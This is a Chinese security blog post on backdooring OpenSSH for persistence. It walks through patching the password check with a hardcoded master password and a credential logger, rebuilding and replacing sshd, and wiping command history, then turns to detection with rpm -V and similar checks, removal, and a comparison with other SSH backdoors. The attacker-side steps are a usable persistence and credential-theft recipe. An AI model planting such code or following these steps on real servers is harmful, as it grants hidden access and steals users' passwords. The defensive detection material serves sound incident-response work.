一、原理简述
下载 OpenSSH 源码,修改认证逻辑,加入万能密码和密码记录功能,然后重新编译安装。替换掉系统自带的 SSH 服务,实现长期后门。
一句话原理:给 SSH 服务本身加一个”万能钥匙”,同时记录所有登录密码。
二、植入步骤(攻击者视角)
第1步:获取 OpenSSH 源码
# 查看当前系统 SSH 版本
ssh -V
# 下载对应版本的源码
wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.0p1.tar.gz
tar zxf openssh-8.0p1.tar.gz
cd openssh-8.0p1
第2步:修改源码(添加后门)
编辑 auth-passwd.c 或 auth.c,找到密码验证函数,添加万能密码:
// 在密码验证函数中添加
if (strcmp(password, "secretpass") == 0) {
return 1; // 万能密码直接通过
}
同时添加密码记录功能:
// 记录错误密码到文件
FILE *fp = fopen("/tmp/.ssh.log", "a");
fprintf(fp, "User: %s, Pass: %s\n", user, password);
fclose(fp);
第3步:编译安装
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam
make
make install
第4步:重启服务
systemctl restart sshd
第5步:清理痕迹
# 清除编译目录
rm -rf openssh-8.0p1*
# 清除历史命令
history -c
rm -f ~/.bash_history
三、触发方式
| 场景 | 说明 |
|---|---|
| 万能密码登录 | 攻击者用预设的万能密码直接登录(如 secretpass) |
| 正常用户登录 | 正常密码也能登录,不被察觉 |
| 密码记录 | 无论成功还是失败,密码都被记录到 /tmp/.ssh.log |
四、攻击者登录
ssh root@目标IP
# 输入万能密码,直接登录成功
五、排查方法
1. 检查 SSH 版本是否异常
ssh -V
# 对比官方版本号,看是否被篡改
2. 检查 sshd 文件修改时间
stat /usr/sbin/sshd
# 看时间是否与系统安装时间不符
3. 检查密码记录文件
ls -la /tmp/.ssh.log
cat /tmp/.ssh.log 2>/dev/null
4. 检查 SSH 二进制文件是否被替换
# 用 rpm 验证完整性(RHEL 系统)
rpm -V openssh-server
# 输出类似:
# S.5....T. /usr/sbin/sshd
# 说明文件被修改过
5. 检查 SSH 服务进程
# 查看 sshd 进程调用的动态库是否有异常
lsof -p $(pgrep -f "sshd -D" | head -1) | grep -E "\.so"
6. 抓包分析(被动检测)
# 在服务器上抓包,观察是否有异常行为
tcpdump -i eth0 port 22 -A -s 1024 | grep -E "secretpass|万能密码特征"
六、清除方法
# 1. 重装 openssh-server
dnf reinstall openssh-server -y
# 2. 删除密码记录文件
rm -f /tmp/.ssh.log
# 3. 重启服务
systemctl restart sshd
# 4. 验证
ssh -V
rpm -V openssh-server
七、与其他后门对比
| 对比项 | OpenSSH 后门 | SSH Wrapper 后门 | 软链接后门 |
|---|---|---|---|
| 修改文件 | ✅ 替换 sshd 二进制 | ✅ 替换 sshd 为脚本 | ❌ 不替换文件 |
| 万能密码 | ✅ 支持 | ❌ 不支持 | ✅ 任意密码 |
| 密码记录 | ✅ 可记录 | ❌ 不记录 | ❌ 不记录 |
| 隐蔽性 | 很高(需对比 hash) | 中等(文件类型暴露) | 较低(新端口) |
| 检测难度 | 较高 | 中等 | 低 |
| 恢复方法 | 重装包 | 恢复文件 | kill 进程+删链接 |
八、快速检测命令
# 一条命令检测 OpenSSH 后门(RHEL 系统)
rpm -V openssh-server 2>/dev/null | grep -q "sshd" && echo "⚠ sshd 文件可能被修改!" || echo "✓ sshd 文件正常"
# 检查密码记录文件
find /tmp /var/tmp -name "*.log" 2>/dev/null | xargs grep -l "User:.*Pass:" 2>/dev/null
九、RHEL 8 特别说明
在 RHEL 8 上:
-
OpenSSH 版本是 8.0p1
-
编译需要安装依赖:
dnf install gcc make zlib-devel openssl-devel pam-devel -
验证完整性用
rpm -V openssh-server -
重装用
dnf reinstall openssh-server
十、总结
| 问题 | 答案 |
|---|---|
| 这种后门有什么特点? | 万能密码 + 记录密码 + 高度隐蔽 |
| 攻击者需要什么权限? | root 权限(才能编译安装替换) |
| 怎么检测? | rpm -V openssh-server 比对文件完整性 |
| 怎么清除? | dnf reinstall openssh-server 重装 |
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END

















暂无评论内容